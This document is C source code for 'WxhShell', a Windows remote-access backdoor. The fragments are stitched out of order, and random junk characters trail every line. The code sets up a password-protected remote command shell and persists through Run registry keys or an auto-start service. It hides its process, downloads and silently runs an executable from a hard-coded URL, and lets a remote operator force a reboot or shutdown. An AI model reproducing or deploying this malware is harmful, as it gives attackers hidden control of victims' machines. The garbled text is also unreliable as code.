    else { R4IFl z  
    closesocket(wsh); xY!]eLZ)&  
    ExitThread(0); 3I"&Qp%2  
    } K] Eq"3  
    break; sS-5W-&P{T  
    } c&0IJ7fZG  
  // 关机 &)bar.vw/  
  case 'd': { %{HqF>=~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /@wm?ft6Gk  
    if(Boot(SHUTDOWN)) /au\OBUge  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cOUO_xp(  
    else { ~(%G; fZ?x  
    closesocket(wsh); pM#:OlqC  
    ExitThread(0); W1: o2 C7  
    } ,Y`C7Px  
    break; ?<nz2 piP,  
    } |_w*:NCV5  
  // 获取shell @'}X&TN<a  
  case 's': { -TD6s:'  
    CmdShell(wsh); D J<c  
    closesocket(wsh); Zb9@U: \  
    ExitThread(0); }(hE{((o  
    break; +i)1 jX<  
  } ^ g4)aaBZ  
  // 退出 Y^6=_^  
  case 'x': { t: [[5];E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XD|&{/O  
    CloseIt(wsh); Q]|+Y0y}X  
    break; .qVdo+M%F  
    } VWMCbg>R  
  // 离开 LZoth+:  
  case 'q': { Aga7X@fV(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hVGakp9WE  
    closesocket(wsh); ho(Y?'^t3  
    WSACleanup(); _OrE{  
    exit(1); nEGku]pCH{  
    break; -Z;:_"&9  
        } Jhj]rsGk  
  } G)e 20Mst  
  } k~q[qKb8y:  
&pmJ:WO,h  
  // 提示信息 `nizGg~1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mYy3KqYu  
} xeHu-J!P  
  } ?&X6VNbU  
p[/n[@<8=  
  return; XBr>K> (  
} z?gJHN<  
Zv-6H*zM6  
// shell模块句柄 k,@1rOf  
int CmdShell(SOCKET sock) Cu?$!|V  
{ &1?Q]ZRp  
STARTUPINFO si; qh&K{r*T  
ZeroMemory(&si,sizeof(si)); 6Edqg   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hv`Zc*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M0"feq  
PROCESS_INFORMATION ProcessInfo; lO) B/N&  
char cmdline[]="cmd"; m# SZI}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :qT>m  
  return 0; 3AB5Qs<  
} ~}M{[6!  
-~-2 g  
// 自身启动模式 '{+hti,Lh  
int StartFromService(void) _rR.Y3N  
{ a%]p*X!  
typedef struct 2xnOWW   
{ h T Xc0  
  DWORD ExitStatus; ~j 4=PT  
  DWORD PebBaseAddress;  LSfj7j`  
  DWORD AffinityMask; (*;u{m=  
  DWORD BasePriority; jG^~{7#  
  ULONG UniqueProcessId; ze ua`jQ  
  ULONG InheritedFromUniqueProcessId; y7w>/7q  
}   PROCESS_BASIC_INFORMATION; ^{Vm,nAQqs  
cbteNA!>  
PROCNTQSIP NtQueryInformationProcess;  o j^U  
z^b\hR   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x``!t>)O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vIG,!^*3  
xz%ig^L  
  HANDLE             hProcess; y>#j4%D~4  
  PROCESS_BASIC_INFORMATION pbi;  z7K?rgH  
"ulaF+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  qJK^i.e  
  if(NULL == hInst ) return 0; 2cDC6rul  
IR>K ka(B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "E8!{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LNg1q1 P3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K)14v;@  
<AIsNqr  
  if (!NtQueryInformationProcess) return 0; F0!r9U((  
]6aM %r=c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t #AQD]h  
  if(!hProcess) return 0; q{@Wn]!k  
q3[LnmH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UkYQ<MNO  
i3~!ofTb  
  CloseHandle(hProcess); F+6ZD5/  
p!691LI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lfKknp#B/O  
if(hProcess==NULL) return 0; ! of7]s  
jab]!eY  
HMODULE hMod; X-duG*~  
char procName[255]; H{V-C_  
unsigned long cbNeeded; e,x@?L*  
o O|^ [b#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q,4F=b  
QZfPd\Q5  
  CloseHandle(hProcess); ^w HMKC  
.SsIU\[)  
if(strstr(procName,"services")) return 1; // 以服务启动 kj8zWG4KH  
`SG70/  
  return 0; // 注册表启动 ]@f6O *&=  
} i" )_M|   
l?~ci ;lG  
// 主模块 lz*PNT{E  
int StartWxhshell(LPSTR lpCmdLine) w iq{ Jo#  
{ }iC~B}  
  SOCKET wsl; :@/fy}!  
BOOL val=TRUE; tL5Xfd?u  
  int port=0; }/LYI  
  struct sockaddr_in door; I*ej_cFQ^  
A/QVotcU  
  if(wscfg.ws_autoins) Install(); YO Y+z\Q  
%pt $S~j  
port=atoi(lpCmdLine); X1-s,[j'  
?yz%r`;r  
if(port<=0) port=wscfg.ws_port; w(yU\ N  
08f~vw"  
  WSADATA data; 1_t Dp& UO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d;=,/a  
9j 8t<5s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D;L :a`Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TM}F9!*je  
  door.sin_family = AF_INET; D6vn3*,&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e\dT~)c  
  door.sin_port = htons(port); sV6A& Aw  
w0IB8GdF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y(R*Z^c}d,  
closesocket(wsl); !G,$:t1-=V  
return 1; @v'D9 ?  
} I>xB.$A  
4"2/"D0  
  if(listen(wsl,2) == INVALID_SOCKET) { <\8   
closesocket(wsl); =oTYwU  
return 1; U&5zs r  
} W wE)XE  
  Wxhshell(wsl); WU4i-@Bm8  
  WSACleanup(); t[maUy _A  
>R: +ml  
return 0; b[k 1)R"  
iF0a  
} K8 Y/XEK  
5 QeGx3'  
// 以NT服务方式启动 jysV%q 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dmi;# WY  
{ ;Y '\:  
DWORD   status = 0; </Id';|v  
  DWORD   specificError = 0xfffffff; n96gDH*  
Fs|;>Up0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e^GW[lT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {|gJC>f@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9H}&Ri%  
  serviceStatus.dwWin32ExitCode     = 0; P~<93  
  serviceStatus.dwServiceSpecificExitCode = 0; d{hYT\7~1(  
  serviceStatus.dwCheckPoint       = 0; G"[pr%?  
  serviceStatus.dwWaitHint       = 0; StL[\9~:  
gdK/:%u3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >FHsZKJ  
  if (hServiceStatusHandle==0) return; -IS9uaT5  
/RC!Yi  
status = GetLastError(); Yel(}Ny  
  if (status!=NO_ERROR) 2P ?Iu&  
{ >>cd3)b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bg h$P  
    serviceStatus.dwCheckPoint       = 0; rsv!mY,Em  
    serviceStatus.dwWaitHint       = 0; r8%,xA&  
    serviceStatus.dwWin32ExitCode     = status; C6M/$_l&a  
    serviceStatus.dwServiceSpecificExitCode = specificError; `.W;ptZ6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DxgT]F%  
    return; xW9 s[X  
  } XgKG\C=3  
WS/+Yl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pCUOeQL(  
  serviceStatus.dwCheckPoint       = 0; 1hyah.i]Y  
  serviceStatus.dwWaitHint       = 0; ws?s   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I0vn d7  
} D,j5k3< #  
@>IjfrjV  
// 处理NT服务事件,比如:启动、停止 ,rI |+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FBAC9}V"  
{ } XU:DE  
switch(fdwControl) kV3j}C"  
{ uW~ ,H}E  
case SERVICE_CONTROL_STOP: $tHwJ!<$&  
  serviceStatus.dwWin32ExitCode = 0; &U*J{OP|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !O6Is'%B  
  serviceStatus.dwCheckPoint   = 0; ls\E%d  
  serviceStatus.dwWaitHint     = 0; 6a7iLQA  
  { &i^NStqu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yn[ZN-H~  
  } b DS1'Ce  
  return; ^(JHRH~=h  
case SERVICE_CONTROL_PAUSE: 8@KFln )[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SWsv,  
  break; Mgs|*u-5  
case SERVICE_CONTROL_CONTINUE: V8$bPVps  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u2B W]T]  
  break; t/WnDR/fM  
case SERVICE_CONTROL_INTERROGATE: zlztF$Bo  
  break; >Mz|e(6  
}; ]3,.g)U*m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r_,m\'~s !  
} F6c[v|3  
ONq/JW$?LV  
// 标准应用程序主函数 z~e~K`S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /_OZ1jX  
{ ;T{/;  
<`_OpNxqW  
// 获取操作系统版本 niEEm`"  
OsIsNt=GetOsVer(); fKz"z{\,0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {kl{mJ*  
^s~n[  
  // 从命令行安装 6q[!X0u  
  if(strpbrk(lpCmdLine,"iI")) Install(); , ."(Gp  
h_chZB'  
  // 下载执行文件 E D^rWE_  
if(wscfg.ws_downexe) { -f2`qltjb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?U/Wio$@  
  WinExec(wscfg.ws_filenam,SW_HIDE); `6N-MsP  
} Y+u-J4bj  
u%1k  
if(!OsIsNt) { 8C,utjy  
// 如果时win9x,隐藏进程并且设置为注册表启动 ObyuhAR  
HideProc(); ho]!G498  
StartWxhshell(lpCmdLine); @Du}   
} RvSq KW8  
else sMS9!{A  
  if(StartFromService()) &<V_[Wh"  
  // 以服务方式启动 ;#yu"6{  
  StartServiceCtrlDispatcher(DispatchTable); \_Kt6=  
else 9X$#x90  
  // 普通方式启动 uWB:"&!^  
  StartWxhshell(lpCmdLine); 27],O@ 2?L  
/1W7<']>xV  
return 0; aMvK8C%7  
} Dyk[u g5  
CxA\yG3L&  
"-Q Rkif  
uz#PBV8Q  
=========================================== q_]   
U 'CfP9=  
myWmU0z/  
{p e7]P?  
B>|U-[A  
%-ZR~*  
" 45)ogg2  
s1Tl.p5  
#include <stdio.h> ,|. *,  
#include <string.h> N+s?ZE*  
#include <windows.h> FQ^<,  
#include <winsock2.h> 8PoHBOxpc  
#include <winsvc.h> 'lN*Ys iDi  
#include <urlmon.h> CaYos;Pl  
MLt'YW^  
#pragma comment (lib, "Ws2_32.lib") iRUR4Zs  
#pragma comment (lib, "urlmon.lib") bwSRJFqb  
Z;fm;X%4  
#define MAX_USER   100 // 最大客户端连接数 0Z A#T:4  
#define BUF_SOCK   200 // sock buffer uZo`IKJ  
#define KEY_BUFF   255 // 输入 buffer c{,y{2c]LT  
up &NCX  
#define REBOOT     0   // 重启 G/fP(o-Wd  
#define SHUTDOWN   1   // 关机 c+8>EU AW  
rv,NQZ  
#define DEF_PORT   5000 // 监听端口 6MQs \J6.  
NF/Ti5y  
#define REG_LEN     16   // 注册表键长度 rwL=R,  
#define SVC_LEN     80   // NT服务名长度 V5u}C-o  
D/S>w(=  
// 从dll定义API M9Nk=s! 3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UAx.Qq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NMl ?Y uEv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m@G<ZCMZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FDVI>HK @  
k=T-L  
// wxhshell配置信息 N75 3  
struct WSCFG { d2C[wQF  
  int ws_port;         // 监听端口 }fJ:wku  
  char ws_passstr[REG_LEN]; // 口令 g[EM]q,  
  int ws_autoins;       // 安装标记, 1=yes 0=no mq J0z4I}  
  char ws_regname[REG_LEN]; // 注册表键名 .'^6QST  
  char ws_svcname[REG_LEN]; // 服务名 YPha9M$AgU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K0 O-WJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]pOYVf *$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9h:jFhsA9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lp:Nw4_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nDHHYp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H.YIv50E  
4|> rwQ~t  
}; #Mj$o;SX  
,7^d9v3t  
// default Wxhshell configuration r,2Xu  
struct WSCFG wscfg={DEF_PORT, "x#]i aDjf  
    "xuhuanlingzhe", S'Z70 zJ  
    1, dGbU{#"3s  
    "Wxhshell", 2^)D .&  
    "Wxhshell", c*x J=Gz6d  
            "WxhShell Service", QKp+;$SE'  
    "Wrsky Windows CmdShell Service", ^&+zA,aL,A  
    "Please Input Your Password: ", 7tpAZ<{  
  1, Mx O W)$f  
  "http://www.wrsky.com/wxhshell.exe", 3>-[B`dD(  
  "Wxhshell.exe" y|q@;*rGNa  
    }; jlu`lG*e&  
zmrQf/y{R  
// 消息定义模块 Js\-['`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9J~:m$.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K1?Z5X(b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ur'9bl{5  
char *msg_ws_ext="\n\rExit."; J)9 AnGWe  
char *msg_ws_end="\n\rQuit."; "/ tUA\=j  
char *msg_ws_boot="\n\rReboot..."; wGEWr2$  
char *msg_ws_poff="\n\rShutdown..."; #4P8Rzl$/  
char *msg_ws_down="\n\rSave to "; V";mWws+?#  
K#qoR/:  
char *msg_ws_err="\n\rErr!"; &`9j)3^J.  
char *msg_ws_ok="\n\rOK!"; { 1+Cw?1d  
A",eS6  
char ExeFile[MAX_PATH]; ]b4pI*:$I  
int nUser = 0; xS= _yO9-  
HANDLE handles[MAX_USER]; <8u>_o6  
int OsIsNt; o3Mf:;2cC  
R%>jJ[4\[  
SERVICE_STATUS       serviceStatus; b8rp8'M)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W|)GV0YM  
99<4t$KH  
// 函数声明 3jvx2  
int Install(void); r5t;'eCe a  
int Uninstall(void); _*O7l  
int DownloadFile(char *sURL, SOCKET wsh); =nJ{$%L\x,  
int Boot(int flag); Yo>`h2C4  
void HideProc(void); _Zh2eXWdjM  
int GetOsVer(void); /8f>':zUb  
int Wxhshell(SOCKET wsl); an3~'g?  
void TalkWithClient(void *cs); h/,R{A2mO  
int CmdShell(SOCKET sock); u@<Pu@?xm  
int StartFromService(void); :lUX5j3  
int StartWxhshell(LPSTR lpCmdLine); K@B" ]6  
<^d!Vzr]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cNe0x2Z$?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h,^BC^VU9-  
u3U4UK  
// 数据结构和表定义 30D: ZmlY  
SERVICE_TABLE_ENTRY DispatchTable[] = Z:K+I+:t  
{ $z*@2Non  
{wscfg.ws_svcname, NTServiceMain}, >BBl 7  
{NULL, NULL} cppL0myJ  
}; O`cdQu  
H5~1g6b@  
// 自我安装  }VF#\q  
int Install(void) kW#S]fsfU  
{ q[-|ZA bbr  
  char svExeFile[MAX_PATH]; n'T He|:I  
  HKEY key; 9/#0?(K8  
  strcpy(svExeFile,ExeFile); 1o8wy_eSs  
M|d={o9Hp  
// 如果是win9x系统,修改注册表设为自启动 IE2CRBfs  
if(!OsIsNt) { 1j11|~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VM7 !0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $H'8 #:[d_  
  RegCloseKey(key); ^7.XGWQ)-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1n_;kaY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bp :~bHf  
  RegCloseKey(key); =-_)$GOI'  
  return 0; <0#^7Z  
    } X2qv^G,  
  } HN{zT&  
} QIQfI05  
else { 2Zy_5>~  
R~)ybf{  
// 如果是NT以上系统,安装为系统服务 nP<S6:s:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S.{fDcM  
if (schSCManager!=0) q(78fZ *X  
{ 1pK6=-3w3  
  SC_HANDLE schService = CreateService ^K+:C;Q|  
  ( |XRImeF'd  
  schSCManager, 5k]XQxc6_  
  wscfg.ws_svcname, [u`6^TycP  
  wscfg.ws_svcdisp, f-4.WW2FN  
  SERVICE_ALL_ACCESS, +td<{4oq8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9e!vA6Fx  
  SERVICE_AUTO_START, -IadHX}]t  
  SERVICE_ERROR_NORMAL, n@hl2M6.x9  
  svExeFile, >L gVj$Z  
  NULL, OOokhZd`  
  NULL, /Y,r@D  
  NULL, F|Q H  
  NULL, 3V?817&6z  
  NULL yG\UW&P  
  ); 1]T|6N?  
  if (schService!=0) {6h|6.S2  
  { e'34Pw!m  
  CloseServiceHandle(schService); Pe}PH I  
  CloseServiceHandle(schSCManager); u^=`%)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V>Fesm"aq  
  strcat(svExeFile,wscfg.ws_svcname); %t*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Nf 5w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  Hy]  
  RegCloseKey(key); zzJja/mp  
  return 0; xST4}Mb^f  
    } >^=gDJ\a  
  } ~M5:=zKQ  
  CloseServiceHandle(schSCManager); %m eLW&  
} ?DPHo)w  
} Z.'syGuV  
w~|1Wd<v  
return 1; sHdp  
} _\\ -md:  
M(enRs3`O  
// 自我卸载 L2fZ{bgy  
int Uninstall(void) )T1iN(Z  
{ }^Gd4[(,g  
  HKEY key; :_xh(W+2<  
&$=!dA  
if(!OsIsNt) { jZd}O C<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "UG K8x  
  RegDeleteValue(key,wscfg.ws_regname); w^HjZV  
  RegCloseKey(key);  Qqc]aVRF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W\8Ln>  
  RegDeleteValue(key,wscfg.ws_regname); Z(e ^iH  
  RegCloseKey(key); ?qmp_2:WU  
  return 0; _'!kuE,*1  
  } GS;%zdH~  
} e)@3m.  
} j+kC-U;  
else { 8md*wEjk  
&^!h}D%T/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FOH@OY  
if (schSCManager!=0) w<NyV8-hL  
{ <??umkV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6o=G8y  
  if (schService!=0) gl8Ib<{  
  { ~Y7dH Dn  
  if(DeleteService(schService)!=0) { Vn, >< g  
  CloseServiceHandle(schService); q/PNJ#<  
  CloseServiceHandle(schSCManager); ^A9 M;q  
  return 0; fDh] tua  
  } .tnkT;T  
  CloseServiceHandle(schService); ;a r><w  
  } Elb aFbr  
  CloseServiceHandle(schSCManager); ,DQjDMjrf  
} O=}g 4c  
} XRtD< jlA"  
nlGHT  
return 1; ^U@~+dw  
} T%IK/"N|+  
^YlI>_3s  
// 从指定url下载文件 TQ ]dW  
int DownloadFile(char *sURL, SOCKET wsh) 3@<zg1.9-  
{ 0N;%2=2_E  
  HRESULT hr; -SCM:j%h  
char seps[]= "/"; ~F!,PM/  
char *token; H:QhrL+7_  
char *file; Z>P*@S,6G  
char myURL[MAX_PATH]; $_Nf-:D*  
char myFILE[MAX_PATH]; w0lT%CPx  
nh.32q]  
strcpy(myURL,sURL); /M=3X||  
  token=strtok(myURL,seps); *[}^[J x  
  while(token!=NULL) /7"I#U^u/  
  { [k<1`z3  
    file=token; {tiKH=&J  
  token=strtok(NULL,seps); [}z,J"Un  
  } ZZxk]D<  
:"1|AJo)  
GetCurrentDirectory(MAX_PATH,myFILE); ]a'99^?\  
strcat(myFILE, "\\"); Um` !%  
strcat(myFILE, file); W 7sn+g \  
  send(wsh,myFILE,strlen(myFILE),0); [?0d~Q(R#  
send(wsh,"...",3,0); cU.9}-)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4hs)b  
  if(hr==S_OK) B?bW1  
return 0; >jg0s)RA'  
else P8Qyhc  
return 1; Ib=x~za@n  
q v*7K@  
} ==N{1gO]  
1q7tiMvV-  
// 系统电源模块 ino:N5&;;  
int Boot(int flag) xc @Ss[  
{ =qy@Wvj$  
  HANDLE hToken; O`[aU%4b  
  TOKEN_PRIVILEGES tkp; 5GzFoy)j>  
3FE(}G  
  if(OsIsNt) { soRv1)el  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zp}eLm:=d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }H> ^o9  
    tkp.PrivilegeCount = 1; \M<3}t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4T6 {Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IxZb$h[  
if(flag==REBOOT) { V)ig)(CT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z<?OwAWz  
  return 0; @(g_<@Jz  
} baV>N[F&  
else { W/$Zvl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q*7<)VwI  
  return 0; PNs~[  
} =FP0\cQ.  
  } 4GdX/6C.  
  else { >$WQxbwM(  
if(flag==REBOOT) { NoE*/!Sr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ia@'%8  
  return 0; (t+;O;  
} \y`+B*\i  
else { Mj#-j/{x{5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &#`l;n:]+  
  return 0; T;TA7{B  
} b?X.U}62_  
} l e4?jQQ@L  
+ZMls [  
return 1; @mP]*$00  
} t_^X$pL  
Fb22p6r  
// win9x进程隐藏模块 Hmt^h(*/2  
void HideProc(void) [epi#]m  
{ 1RcSTg  
U1_@F$mq<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P262Q&.}d  
  if ( hKernel != NULL ) H,fZ!8(A_)  
  { )L{ghy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }/tf>?c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #'D" 'B  
    FreeLibrary(hKernel); eV:9y  
  } C?v[Z]t  
 xw^R@H  
return; zi R5:d3   
} #6Fez`A  
RqEH| EUZ  
// 获取操作系统版本 ,mhQ"\+C  
int GetOsVer(void) R'EUV0KX>Y  
{ LEMfG~Czq  
  OSVERSIONINFO winfo; VVH.2&`I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Unj.f>U  
  GetVersionEx(&winfo); voP7"Dl[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]^':Bmq  
  return 1; |F,R&<2  
  else dI&!e#Y  
  return 0; j`^$#  
} MFTk qbc  
J;_}lF9d@  
// 客户端句柄模块 X[`bMa7IB(  
int Wxhshell(SOCKET wsl) b2aF 'y/  
{ EVp,Q"V]  
  SOCKET wsh; 3bk|<7tl  
  struct sockaddr_in client; xh7cVE[UM  
  DWORD myID;  ]#7zk9  
}bY; q-  
  while(nUser<MAX_USER) jK \T|vGJa  
{ x~xa6  
  int nSize=sizeof(client); eP*lI<NQ1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { eCC$&"  
  if(wsh==INVALID_SOCKET) return 1; Y<1QY?1sd  
<N\v)Ug`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W;bu2ym&Q  
if(handles[nUser]==0) 3)-/`iy#  
  closesocket(wsh); j83p)ido  
else I}Nd$P)>  
  nUser++; _ZY)M  
  } ?\C"YG69T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,'[<bP'%_  
B<j'm0a>B  
  return 0; eF[63zx5*  
} TIp:FW[  
-@T/b$]'n  
// 关闭 socket zSo)k~&[3  
void CloseIt(SOCKET wsh) qM#R0ZUIe\  
{ kOI t(e  
closesocket(wsh); _g1b{$  
nUser--; 6-?66g mT  
ExitThread(0); K>*a*[t0Sy  
} V&-~x^JK  
M\yT).>z  
// 客户端请求句柄 fS~;>n%R  
void TalkWithClient(void *cs) oc8:r  
{ =Umw$+fJr  
$<:E'^SAS  
  SOCKET wsh=(SOCKET)cs; `PY>Hgb  
  char pwd[SVC_LEN]; [9 Ss# ~  
  char cmd[KEY_BUFF]; sC9&Dgkk  
char chr[1]; =bEda]  
int i,j; I\YV des#  
PO 6&bIr  
  while (nUser < MAX_USER) { m0v:\?S:  
y|'SXM  
if(wscfg.ws_passstr) { }CeCc0M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LX^u_Iu   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V<Z[ nq  
  //ZeroMemory(pwd,KEY_BUFF); MEwo}=B  
      i=0; v4C{<8:X  
  while(i<SVC_LEN) { 5 ~TdD6}  
gx%|Pgd  
  // 设置超时 ABUSTf<  
  fd_set FdRead; Pp )3(T:  
  struct timeval TimeOut; 6/rFHY2q  
  FD_ZERO(&FdRead); mEG#>Gg$  
  FD_SET(wsh,&FdRead); 4~B> 9<$e>  
  TimeOut.tv_sec=8; NH+(?TN  
  TimeOut.tv_usec=0; 27;ci:5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J~#;<e{\"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D1__n6g[  
w8n|B?Sr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fd0 %lnui  
  pwd=chr[0]; P*cNh43U  
  if(chr[0]==0xd || chr[0]==0xa) { ;[fw]P n  
  pwd=0; ,?L2wl[  
  break; ki85!k=Q2  
  } % LJs  
  i++; J>/w5$h5  
    } x g0iN'e'K  
2Lx3=k  
  // 如果是非法用户,关闭 socket $sEy%-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q=]w !I\  
} 9/nn)soC3  
ztw@Y|<2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #-bA[eQV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Vpq$'!  
v8y1b%  
while(1) { 3+XOZh8  
{~F4WjHJp  
  ZeroMemory(cmd,KEY_BUFF); /n>qCuw  
l,kUhZ@W  
      // 自动支持客户端 telnet标准   e d<n9R  
  j=0; h=:Q-?n-  
  while(j<KEY_BUFF) { )a-Du$kd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rj4|Q:XG  
  cmd[j]=chr[0]; cJrmm2.0kD  
  if(chr[0]==0xa || chr[0]==0xd) { .FLy;_f+  
  cmd[j]=0; qTqwPWW*  
  break;  rwI  
  } 5F~'gLH/F-  
  j++; OVV]x{  
    } NgY =&W,  
ll C#1  
  // 下载文件 :53)N v  
  if(strstr(cmd,"http://")) { _ ]Z s,Hy  
